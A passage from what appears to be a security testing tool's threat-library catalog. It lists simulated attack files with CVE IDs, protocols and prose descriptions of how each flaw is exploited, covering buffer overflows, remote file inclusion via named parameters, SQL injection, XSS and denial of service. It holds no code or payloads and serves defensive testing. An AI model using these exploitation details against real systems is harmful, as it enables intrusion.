Protocol Type:	SSL, TLS, HTTPS, SMTP, SMPTS, SIPS, IPv6
CVEID:	CVE-2017-3731
Threat File Name:	FSC20041026-01_McAfee_Anti-Virus_Zip_Archive_Virus_Detection_Bypass_IPv6.xml
Executive Description:	McAfee Anti-Virus ZIP Archive Virus Detection Bypass (IPv6 Version)
Detailed Description:	There exists a vulnerability in the way McAfee Anti-Virus engine scans ZIP archives. The affected software may bypass file entries in a specially crafted ZIP file archive. An attacker can leverage this vulnerability to bypass the anti-virus protection and deliver malicious content to the target. If crafted ZIP file archive is delivered to a system which performs on-access scanning, the malicious content will be detected before it is executed, mitigating the impact of this vulnerability. Note that this vulnerability also exists in several other Anti-Virus product lines from multiple vendors. The list of vendors with affected product lines includes Computer Associates, Kaspersky, Sophos, Eset, GeCAD Software. Please refer to Section 2 for further details. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0932
Threat Package:	Standard
Threat File Name:	TSL20170411-22_Microsoft_Edge_asm.js_Type_Confusion_IPv6.xml
Executive Description:	Microsoft Edge asm.js Type Confusion (IPv6 Version)
Detailed Description:	A type confusion vulnerability has been reported in Microsoft Edge Scripting Engine. The vulnerability is due to improper parsing of eval function arguments when it accesses an asm.js function. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-0093
Threat File Name:	evince_bof_IPv6.xml
Executive Description:	Evince Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the PDF view evince, which is used with most modern linux distributions. This can lead to running code remotely from a PDF document. This type of threat could typically come from a webserver listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5864
Threat Package:	Standard
Threat File Name:	FSC20070122-03_Apple_Mac_OS_X_iChat_AIM_URL_Format_String_Vulnerability_IPv6.xml
Executive Description:	Apple Mac OS X iChat AIM URL Format String Vulnerability (IPv6 Version)
Detailed Description:	There exists a format string vulnerability in the Apple iChat product. The flaw is due to improper handling of AIM URLs. This vulnerability can be exploited by persuading a victim to follow a specially-crafted AIM URL containing format string specifiers. Successful exploitation of this issue causes a denial of service condition and allows remote attackers to execute arbitrary code in the context of the application. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0021
Threat Package:	Standard
Threat File Name:	TSL20111021-02_Apple_Safari_Webkit_libxslt_Arbitrary_File_Creation.xml
Executive Description:	Apple Safari Webkit libxslt Arbitrary File Creation
Detailed Description:	An arbitrary file creation vulnerability exists in Apple's Safari web browser. The vulnerability is due to the way Webkit processes XSL transformations. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted web page. Successful exploitation could lead to the creation (or overwriting) of arbitrary files on the target system, and execution of arbitrary code in the context of the currently logged-in user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1774
Threat File Name:	FSC20091104-10_Sun_Java_Runtime_Environment_JPEGImageReader_Heap_Overflow.xml
Executive Description:	Sun Java Runtime Environment JPEGImageReader Heap Overflow
Detailed Description:	A heap overflow vulnerability exists in Sun Java Runtime Environment. The vulnerability is due to an integer overflow that can occur when processing malicious JPEG image dimensions. Remote unauthenticated attackers can exploit this vulnerability by enticing the user to visit a malicious web page. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged on user. An unsuccessful exploit attempt may abnormally terminate the affected application.
Protocol Type:	HTTP/HTTPS
Threat Package:	Standard
Threat File Name:	burncms_cmi_b_IPv6.xml
Executive Description:	burnCMS <= 0.2(root)Remote File Include Vulnerabilities (IPv6 Version)
Detailed Description:	This threat demonstrates a remote file inclusion flaw against misc.php's root parameter. this threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	aigaion_rfi_IPv6.xml
Executive Description:	Aigaion pageactionauthor.php DIR Variable Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Aigaion is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5930
OSVDB:	30378
Threat Package:	Standard
Threat File Name:	fuzz-ARP_op.xml
Executive Description:	Fuzzer for Protocol:ARP and Field:op
Detailed Description:	
Protocol Type:	ARP
Threat Package:	Fuzzing

Threat File Name:	windows_rshd_rbof_IPv6.xml
Executive Description:	Windows RSH daemon Stack Based Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a stack overflow in Windows RSH daemon, that allows for execution arbitrary code or denial of service. Windows RSHD listens on port 514. (IPv6 Version)
Protocol Type:	RSH/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080716-02_Oracle_Internet_Directory_Pre-Authentication_LDAP_Denial_of_Service.xml
Executive Description:	Oracle Internet Directory Pre-Authentication LDAP Denial of Service
Detailed Description:	There exists a denial of service vulnerability in the Oracle Internet Directory. The vulnerability is due to a NULL pointer dereference error when processing LDAP requests. Remote unauthenticated attackers could exploit this vulnerability by sending a crafted LDAP request to create a denial of service condition on the target system. Upon processing malicious LDAP messages, the oidldapd.exe process will terminate, which triggers a Denial of Service condition of the target LDAP service. On certain installations, the service may not restart automatically, and it needs to be restarted manually to resume the normal operation.
Protocol Type:	LDAP
CVEID:	CVE-2008-2595
Threat Package:	Standard
Threat File Name:	doceboCMS_cmi.xml
Executive Description:	DoceboCMS Arbitrary PHP File Inclusion
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via lib.php's GLOBAL parameter. DoceboCMS is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2576
OSVDB:	25757
Threat Package:	Standard
Threat File Name:	nes_system_rfi.xml
Executive Description:	NES Game and NES System Multiple Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. NES Game & NES System is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	acgvclick_rfi_IPv6.xml
Executive Description:	ACGVclick <= 0.2.0 (path) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. ACGVclick is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0577
Threat Package:	Standard
Threat File Name:	FSC20070710-12_Microsoft_Excel_Version_Information_Handling_Code_Execution.xml
Executive Description:	Microsoft Excel Version Information Handling Code Execution
Detailed Description:	A memory corruption vulnerability exists in the way Microsoft Excel processes files. The vulnerability is a result of insufficient data validation while processing the Version Number field in a BOF record. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2007-1756
Threat Package:	Standard
Threat File Name:	TSL20150421-13_Novell_ZENworks_Configuration_Management_Session_ID_Information_Disclosure_IPv6.xml
Executive Description:	Novell ZENworks Configuration Management Session ID Information Disclosure IPv6 version
Detailed Description:	An information disclosure vulnerability exists in Novell ZENworks Configuration Management. The vulnerability is due to exposure of insecure functionality within Rtrlet.class. By sending crafted requests to the target server, a remote unauthenticated attacker can leverage this vulnerability to disclosure Session IDs of the logged in users which can be used to used to facilitate further attacks.
Protocol Type:	HTTP/HTTPS. IPV6
CVEID:	CVE-2015-0784
Threat File Name:	libtiff_dos.xml
Executive Description:	LibTiff Denial of Service Vulnerability
Detailed Description:	This threat sends a malicious tiff image file in a HTTP server response meant to crash any client application that uses the LibTiff image processing library.
Protocol Type:	HTTP
CVEID:	CVE-2006-2024
OSVDB:	25018
Threat Package:	Standard
Threat File Name:	FSC20100406-02_Oracle_Java_Soundbank_Resource_Name_Stack_Buffer_Overflow.xml
Executive Description:	Oracle Java Soundbank Resource Name Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability has been reported in Oracle Java Runtime. The vulnerability is due to a sign-extension error when parsing the length of a resource name in a Soundbank file. A remote unauthenticated attacker can exploit this vulnerability by enticing a target user to open a malicious Java applet with a vulnerable application. In a successful attack, where arbitrary code is injected and executed on the vulnerable target host, the behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. In an attack where code execution fails, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0839
Threat Package:	Standard

Threat File Name:	BusMail.xml
Executive Description:	BusinessMail Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the BusinessMail SMTP server. This is done by sending a long argument following the SMTP HELO and MAIL FROM verbs. SMTP is a mail delivery protocol, and typically listens on port 25.
Protocol Type:	SMTP
CVEID:	CVE-2005-2472
OSVDB:	18407
Threat Package:	Standard
Threat File Name:	Prodder_cmi_IPv6.xml
Executive Description:	Prodder Arbitrary Shell Command Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat exploits a failure in Prodder to properly sanitize user-supplied input allowing arbitrary command-execution vulnerability. (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	25690
Threat Package:	Standard
Threat File Name:	pmwiki_xss.xml
Executive Description:	PmWiki Search Cross-Site Scripting Vulnerability
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing HTML or Javascript. PmWiki is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3849
OSVDB:	21056
Threat Package:	Standard
Threat File Name:	TSL20170523-12_Digium_Asterisk_pjsip_multipart_parse_Denial_of_Service.xml
Executive Description:	Digium Asterisk pjsip_multipart_parse Denial of Service
Detailed Description:	A denial of service vulnerability exists in Digium Asterisk. The vulnerability is due to a processing flaw in the pjsip_multipart_parse function of sip_multipart.c when the chan_pjsip module is used. A remote, unauthenticated attacker could exploit this vulnerability by sending a maliciously crafted SIP request containing multipart data to a vulnerable Asterisk server. Successful exploitation could cause denial-of-service conditions on the target service.
Protocol Type:	SIP,SIPS
Threat File Name:	FSC20100209-25_Microsoft_Windows_DirectShow_Heap_Buffer_Overflow.xml
Executive Description:	Microsoft Windows DirectShow Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Microsoft Windows. The vulnerability is due to an error processing malformed AVI files. A remote attacker can leverage this vulnerability by enticing a target user to open a maliciously crafted AVI file. A successful attack can result in the injection and execution of arbitrary code on a target system. The resulting code would execute within the security context of the logged in user. In an unsuccessful attack, the affected application may abnormally terminate.
Protocol Type:	HTTP/HTTPS/IMAP/POP/SMB/CIFS/SMTP
CVEID:	CVE-2010-0250
Threat Package:	Standard
Threat File Name:	TSL20110721-15_Apple_Safari_WebKit_SVG_Markers_Use-After-Free_Memory_Corruption.xml
Executive Description:	Apple Safari WebKit SVG Markers Use-After-Free Memory Corruption
Detailed Description:	A heap corruption vulnerability has been found in WebKit. The vulnerability is located in the code that handles Scalable Vector Graphics (SVG) objects. The vulnerable code doesn't properly handle reference counting when updating SVG markers, causing a use-after-free condition. A remote attacker could entice a target user to view a maliciously crafted web page that exploits this vulnerability to run arbitrary code in the target user's security context.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1453
Threat File Name:	TSL20160810-07_Trend_Micro_Control_Manager_TreeUserController_process_tree_event_Information_Disclosure_IPv6.xml
Executive Description:	Trend Micro Control Manager TreeUserController_process_tree_event Information Disclosure (IPv6 Version)
Detailed Description:	An XML external entity (XXE) processing vulnerability has been reported in Trend Micro Control Manager. The vulnerability is due to lack of validation of user-supplied input prior to executing an XML query in TreeUserController_process_tree_event.aspx. A remote, authenticated attacker could exploit this vulnerability by sending a malicious HTTP request to the target system. Successful exploitation could allow the attacker to read arbitrary files from the target system.
Protocol Type:	HTTPS, IPv6
Threat File Name:	FSC20040610-01_Apache_1_3_mod_proxy_Buffer_Overflow_IPv6.xml
Executive Description:	Apache 1.3 mod_proxy Buffer Overflow (IPv6 Version)
Detailed Description:	A vulnerability exists in the mod_proxy module of Apache 1.3, which can be used as a web proxy, reverse proxy, and/or cache. This module contains a heap-based buffer overflow that occurs while retrieving an HTTP response from a malicious server on behalf of a client. An attacker may use this vulnerability to trigger a denial of service on the vulnerable Apache server. There is also the possibility of remote code execution on some older operating system platforms. On most platforms, upon reception of a specially crafted response, the child process acting as a proxy for a client will terminate, closing any open TCP connections. As neither the parent Apache process nor any other child processes are affected, the denial of service condition only affects connections being handled by the process being attacked (possible only the attacking client). Other connections to the Apache server will be unaffected. On some older OpenBSD and FreeBSD distributions, the vulnerability can be exploited to execute code, due to the particulars of their implementation of the memcpy() function. In such cases, the behaviour of the compromised server depends on the nature of the exploit code. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0492
Threat Package:	Standard
Threat File Name:	XSS_Server_Injection.xml
Executive Description:	XSS HTTP Server Header Reply

Detailed Description:	This attack represents a malicious reply from a webserver, by inserting Javascript elements into the Server header of the HTTP reply. This will make some web crawlers log Dynamic HTML into their HTML reports, which will then be executed with local privileges. This threat typically would come from webserver listening on port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-2860
OSVDB:	17886
Threat Package:	Standard
Threat File Name:	FSC20100428-03_Google_Chrome_GURL_Cross-Origin_Bypass_IPv6.xml
Executive Description:	Google Chrome GURL Cross Origin Bypass (IPv6 Version)
Detailed Description:	Google Chrome web browser contains a Cross Origin Bypass vulnerability. The vulnerability is due to insufficient validation of URLs in the Google URL (GURL) component, which can lead to violation of the same origin policy. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious website. Successful exploitation of this vulnerability can result in information disclosure and execution of active content outside the prescribed context. (IPv6 Version)
Protocol Type:	HTTP/HTTPS/IPv6
CVEID:	CVE-2010-1663
Threat Package:	Standard
Threat File Name:	FSC20090625-06_Motorola_Timbuktu_Pro_PlughNTCommand_Stack_Based_Buffer_Overflow_IPv6.xml
Executive Description:	Motorola Timbuktu Pro PlughNTCommand Stack Based Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Motorola Timbuktu Pro. The flaw is due to a boundary error when Motorola Timbuktu Pro handles requests sent to \PlughNTCommand named pipe. Remote attackers could exploit this vulnerability by sending malformed data to the Timbuktu Pro process. If a code injection attack attempt is performed and is unsuccessful, the affected application will terminate abnormally, creating a denial of service condition. If a code execution attempt is carried out successfully, the behaviour of the target host is dependent on the intention of the injected code. The injected code is executed with System level privileges. (IPv6 Version)
Protocol Type:	SMB/IPv6
CVEID:	CVE-2009-1394
Threat Package:	Standard
Threat File Name:	TSL20130729-15_PineApp-Mail-SeCure_confpremenu.php_Export_Log_Command_Injection_IPv6.xml
Executive Description:	PineApp Mail-SeCure confpremenu.php Export Log Command Injection [IPv6, Version]
Detailed Description:	A command execution vulnerability exists in PineApp Mail-SeCure. The vulnerability is due to an input validation error in the confpremenu.php script while exporting logs. A remote attacker can exploit this vulnerability by sending a specially crafted request to the vulnerable server. Successful exploitation could result in commands being executed with root privileges.
Protocol Type:	IPv6,HTTPS,HTTP
OSVDB:	95783
Threat File Name:	TSL20110601-05_Cisco_Network_Registrar_Default_Credentials_Authentication_Bypass_IPv6.xml
Executive Description:	Cisco Network Registrar Default Credentials Authentication Bypass(IPv6 Version)
Detailed Description:	An authentication weakness vulnerability exists in Cisco Network Registrar. The vulnerability is due to using a default password for the administrative account. A remote attacker can exploit the vulnerability by using this knowledge to authenticate with administrative privileges to the affected device and change the configuration.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-2024
Threat File Name:	TSL20140630-07_PHP_unserialize_Call_SPL_ArrayObject_and_SPLObjectStorage_Memory_Corruption_IPv6.xml
Executive Description:	PHP unserialize Call SPL ArrayObject and SPLObjectStorage Memory Corruption IPv6 version
Detailed Description:	A memory corruption vulnerability exists in PHP. The vulnerability is due to type confusion in the unserialize() function for SPL ArrayObject and SPLObjectStorage. An attacker can exploit this vulnerability if the application uses the vulnerable function. A successful attack can allow arbitrary code execution in the context of the PHP application. An unsuccessful attack will result in a denial of service condition.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-3515
OSVDB:	108462
Threat File Name:	fcring_rfi_IPv6.xml
Executive Description:	FCRing <= 1.31 (fcring.php s_fuss) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. FCRing is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	nimda16_IPv6.xml
Executive Description:	Nimda Request URL 16 (IPv6 Version)
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20140211-21_Microsoft_Internet_Explorer_CVE-2014-0283_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-0283 Use After Free(IPv6 Version)
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2014-0283

Threat File Name:	firefox_ftp_dos.xml
Executive Description:	Mozilla Firefox FTP Denial of Service Vulnerability
Detailed Description:	This threat uses a malicious ftp server reply to crash vulnerable Firefox browsers. Firefox is a web browser that connects to http and ftp servers which typically listen on ports 80 and 21 respectively.
Protocol Type:	FTP
CVEID:	CVE-2006-4310
Threat Package:	Standard
Threat File Name:	loudblog_cmi.xml
Executive Description:	Loudblog backend_settings.php GLOBALS[path] Variable Remote File Inclusion
Detailed Description:	This threat sends a crafted URL that contains a command which is executed by the server. Loudblog is a we based application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0565
OSVDB:	22921
Threat Package:	Standard
Threat File Name:	TSL20110510-02_Microsoft_PowerPoint_TextHeaderAtom_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft PowerPoint TextHeaderAtom Memory Corruption(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft PowerPoint. The vulnerability is due to memory corruption while processing PowerPoint files that contain a specially crafted TextHeaderAtom record. An attacker can exploit this vulnerability by enticing a user to open a specially crafted PowerPoint file. This can result in code execution in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,FTP
CVEID:	CVE-2011-1269
Threat File Name:	calogic_calander_cmi_IPv6.xml
Executive Description:	CaLogic Calendars 1.2.2 Remote File Inclusion (IPv6 Version)
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via reconfig.php's \$_GLOBAL parameter. CaLogic Calendars is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170523-12_Digium_Asterisk_pjsip_multipart_parse_Denial_of_Service_IPv6.xml
Executive Description:	Digium Asterisk pjsip_multipart_parse Denial of Service (IPv6 Version)
Detailed Description:	A denial of service vulnerability exists in Digium Asterisk. The vulnerability is due to a processing flaw in the pjsip_multipart_parse function of sip_multipart.c when the chan_pjsip module is used. A remote, unauthenticated attacker could exploit this vulnerability by sending a maliciously crafted SIP request containing multipart data to a vulnerable Asterisk server. Successful exploitation could cause denial-of-service conditions on the target service.
Protocol Type:	SIP,SIPS,IPv6
Threat File Name:	fuzz-IP_InternetHeaderLength.xml
Executive Description:	Fuzzer for Protocol:IP and Field:InternetHeaderLength
Detailed Description:	
Protocol Type:	IP
Threat Package:	Fuzzing
Threat File Name:	FSC20090602-02_Apple_QuickTime_Image_Description_Atom_Sign_Extension_Memory_Corruption_IPv6.xml
Executive Description:	Apple QuickTime Image Description Atom Sign Extension Memory Corruption (IPv6 Version)
Detailed Description:	There exists a sign extension based memory corruption vulnerability in Apple QuickTime. The vulnerability is due to improper processing of Image Description Atoms in Apple Video files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted QuickTime movie file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. In an attack case where code injection is not successful, the affected Apple QuickTime process will terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0955
Threat Package:	Standard
Threat File Name:	TSL20120430-04_McAfee_Virtual_Technician_MVT_MVTCtrl_ActiveX_Control_Insecure_Method_IPv6.xml
Executive Description:	McAfee Virtual Technician MVT.MVTCtrl ActiveX Control Insecure Method(IPV6 version)
Detailed Description:	An insecure method has been discovered in McAfee Virtual Technician. The vulnerability is due to a design weakness in the GetObject() method, which allows instantiation of an arbitrary object on the vulnerable system. Remote attackers can exploit this vulnerability by enticing a target user to open a crafted web page. Successful exploitation would result in execution of arbitrary code in the context of the currently logged-on user.
Protocol Type:	IPv6,HTTP,HTTPS
Threat File Name:	TSL20061114-18_WinZip_FileView_ActiveX_Control_Unsafe_Method_Exposure_IPv6.xml
Executive Description:	WinZip FileView ActiveX Control Unsafe Method Exposure(IPV6 Version)

Detailed Description:	There exists a buffer overflow vulnerability in the FileView ActiveX control shipped with the WinZip product. The flaw is due to improper length checks when setting the FilePattern property of the affected control. By persuading a user to open a crafted web page, a remote attacker may inject and execute arbitrary code within the privileges of the currently logged on user. In an attack case where code injection is not successful, the application which uses the affected product will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP
CVEID:	CVE-2006-5198
Threat File Name:	FSC20101124-06_Apple_Safari_WebKit_Stale_Pointer_Use-after-free_Code_Execution_IPv6.xml
Executive Description:	Apple Safari WebKit Stale Pointer Use-after-free Code Execution (IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Apple Safari WebKit. The vulnerability is due to a use-after-free error when processing a stale pointer using element focus. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted web page. In attack scenarios where code execution is successful the behaviour of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally. Note that TELUS Security Labs team has not been able to reproduce this vulnerability using the Apple Safari web browser during the contractual research period. Further investigation is required to understand under what circumstances the vulnerability can be triggered.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2010-3257
Threat File Name:	FSC20100413-25_Microsoft_Windows_SMB_Client_Response_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Windows SMB Client Response Parsing Memory Corruption
Detailed Description:	A remote code execution vulnerability exists in Microsoft Windows SMB Client. The vulnerability is due to improper validation of certain SMB fields when parsing transaction responses. Remote unauthenticated attackers could exploit this vulnerability by enticing a user to connect to a malicious SMB server and sending a specially crafted SMB response to the target machine. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the operating system kernel (Ring 0). Code injection that does not result in execution could crash the target system, and result in a Denial of Service condition.
Protocol Type:	SMB
CVEID:	CVE-2010-0476
Threat Package:	Standard
Threat File Name:	FSC20080902-06_Novell_eDirectory_HTTP_Request_Content-Length_Heap_Buffer_Overflow.xml
Executive Description:	Novell eDirectory HTTP Request Content-Length Heap Buffer Overflow
Detailed Description:	There exists a heap buffer overflow vulnerability in Novell eDirectory. The flaw is in the SOAP-HTTP protocol stack due to improper processing of the Content-Length header value. Remote attackers could exploit this vulnerability by sending SOAP-HTTP requests with specially crafted Content-Length value. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the server process. In a sophisticated attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected service. In an attack case where code injection is not successful, the affected service may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-4478
Threat Package:	Standard
Threat File Name:	TSL20161213-19_Microsoft_Edge_CVE-2016-7206_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Edge CVE-2016-7206 Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in Microsoft Edge. This vulnerability is due to improper handling of CSS styling for visited links. A remote attacker could exploit this vulnerability by enticing a user to visit a maliciously crafted web-page. Successful exploitation of this vulnerability would reveal a targets browser history potentially disclosing sensitive information.
Protocol Type:	HTTPS, HTTP, IPv6
CVEID:	CVE-2016-7206
Threat File Name:	TSL20130312-03_Microsoft_Silverlight_Pointer_Dereference_Memory_Corruption.xml
Executive Description:	Microsoft Silverlight Pointer Dereference Memory Corruption
Detailed Description:	A pointer dereference vulnerability exists in Microsoft Silverlight. This vulnerability is due to insufficient verification of a pointer when rendering an HTML object. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page, potentially causing arbitrary code to be injected and executed in the context of the currently logged on user. Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged on user. If such an attack is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-0074
OSVDB:	91147
Threat File Name:	midicart_sqlinj.xml
Executive Description:	MidiCart search_list.php Searchstring Parameter SQL Injection
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing an SQL query. The query executes against the MidiCart database with the permissions of the MidiCart SQL user. MidiCart is a web application that normally listens on TCP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-1503
OSVDB:	16175
Threat Package:	Standard
Threat File Name:	TSL20150402-01_Apache_Qpid_Sequence_Set_Denial_of_Service_IPv6.xml
Executive Description:	Apache Qpid Sequence Set Denial of Service IPv6 version.

Detailed Description:	A denial of service vulnerability exists in Apache Qpid. The vulnerability is due to an assertion failure while processing a sequence-set type field with the maximum possible range. A remote, unauthenticated attacker could exploit this vulnerability by sending any control or command assembly that requires a sequence-set type field with a maximum possible range to the QPID broker. Successful exploitation will lead to abnormal termination of the program resulting in a denial of service condition. Tester should set the variable \$destPort to 5672 before test.
Protocol Type:	AMQP,IPv6
CVEID:	CVE-2015-0203
OSVDB:	117019
Threat File Name:	FSC20100811-05_Apple_Safari_Webkit_Button_First-Letter_Style_Rendering_Code_Execution_IPv6.xml
Executive Description:	Apple Safari Webkit Button First-Letter Style Rendering Code Execution
Detailed Description:	A code execution vulnerability exists in Apple Safari's Webkit. The vulnerability is due to a use after free error when processing 'first-letter' CSS style. This vulnerability may be exploited by remote attackers to execute arbitrary code on a target system by enticing a user to open a maliciously crafted file. In situations where code execution is successful the injected code will run within the security context of the currently logged in user. When code execution fails, the affected product may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2010-1392
Threat File Name:	man2web_cmd_2_IPv6.xml
Executive Description:	man2web Remote Command Execution 2 (IPv6 Version)
Detailed Description:	This threat runs a series of commands through a flaw in the man2web CGI script. It allows a remote attacker to gain control of the server with the rights of the webserver. This can lead to further exploitation. man2web is a web application, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2812
OSVDB:	19515
Threat Package:	Standard
Threat File Name:	TSL20150113-11_Microsoft_Network_Policy_Server_RADIUS_Denial_of_Service.xml
Executive Description:	Microsoft Network Policy Server RADIUS Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in Microsoft Network Policy Server. The vulnerability is due to an error in processing certain specially crafted username strings. A remote, unauthenticated attacker could exploit this vulnerability by sending specially crafted requests to the Network Policy Server. Successful exploitation could lead to a denial of service condition on the server. Tester should set \$destPort to 1812 before test.
Protocol Type:	RADIUS
CVEID:	CVE-2015-0015
Threat File Name:	TSL20160630-07_WECON_LeviStudio_HmiSet_Type_Stack_Buffer_Overflow.xml
Executive Description:	WECON LeviStudio HmiSet Type Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability has been reported in WECON LeviStudio. The vulnerability is due to improper parsing of XML HmiSet Type attribute of LeviStudio project files. A remote attacker could exploit this vulnerability by enticing a user to open a crafted project file. Successful exploitation could allow the attacker to execute arbitrary code under the security context of the user process.
Protocol Type:	HTTP
Threat File Name:	TSL20130819-02_PHP_SSL_Certificate_Validation_Security_Bypass.xml
Executive Description:	PHP SSL Certificate Validation Security Bypass
Detailed Description:	A vulnerability has been reported in PHP that could allow attackers to bypass security restrictions on a vulnerable system. The vulnerability is due to an error when handling null characters in the Subject Alternative Name field of an X.509 certificate. An unprivileged, remote attacker can exploit this flaw by sending a malicious certificate. Successful exploitation could result in a security bypass.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-4248
OSVDB:	96298
Threat File Name:	TSL20110825-06_Apple_QuickTime_PICT_Image_PnSize_Opcode_Stack_Buffer_Overflow.xml
Executive Description:	Apple QuickTime PICT Image PnSize Opcode Stack Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Apple's QuickTime media suite. The vulnerability is due to an error in converting an unsigned 16-bit value into a signed 32-bit value when processing a PICT image. The converted value is used in a memory copy onto the stack. An attacker can exploit this vulnerability by enticing a target user to open a malicious PICT image with a vulnerable version of the affected software. Successful exploitation of this vulnerability can result in arbitrary code execution. An unsuccessful exploitation attempt may lead to abnormal application termination
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0257
Threat File Name:	TSL20111212-08_Nullsoft_Winamp_AVI_Stream_Count_Integer_Overflow_IPv6.xml
Executive Description:	Nullsoft Winamp AVI Stream Count Integer Overflow(IPV6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Winamp. The vulnerability is due to an integer overflow when a stream count from an AVI file is used in a buffer size calculation. A remote unauthenticated attacker can exploit this vulnerability by enticing a target user to open a crafted AVI file. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
